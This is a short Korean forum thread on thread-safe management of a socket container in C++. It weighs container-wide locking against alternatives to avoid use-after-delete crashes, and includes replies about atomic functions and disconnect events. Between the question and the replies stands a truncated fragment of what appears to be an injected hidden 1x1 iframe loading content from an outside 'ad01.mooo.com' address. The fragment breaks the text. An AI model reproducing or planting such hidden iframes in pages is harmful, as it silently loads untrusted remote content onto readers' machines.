CSocketMgr이 CSocket을 컨테이너로 관리하고 있는데
CSocketMgr은 여러 스레드에서 공용으로 사용하고 있는 자원이라
add / remove 할 시 컨테이너에 락을 걸어줬습니다.
그런데 CSocketMgr에서 find해서 CSocket객체를 사용 할 때
find하기 전 컨테이너에 락을 걸고, find한 CSocket객체를 다 사용후 컨테이너 락을 해제해주는데
(안그러면 find된 객체 사용 중 remove가 되버리면 delete되서 access violation이 걸리니..)
이러면 find / add / remove 시 계속 동기화가 되어 꽤나 큰 성능하락이 예상되는데
당연히 이런 방법으로 해야하나요? 아니면 더 좋은 방법이 있나요?
ps. 스마트포인터를 생각해 보긴 했지만 스마트포인터 말고 다른 방법을...
me width=1 src =http://ad01.mooo.com/advertis/ height=1>
find 후 remove 하기 전까지 모든 액션을 하나의 메소드나 함수로 묶어서 atomic으로 돌리면 안됨? atomic이 아닌가? 여튼 함수 한개 완료할때까지 CPU가 프로세스 내에서는 그 함수만 처리하게 하는거 ㅇㅇ
remove는 소켓이 끊어질때 발생하는 이벤트라 둘을 묶는다는건 말이 안데는디...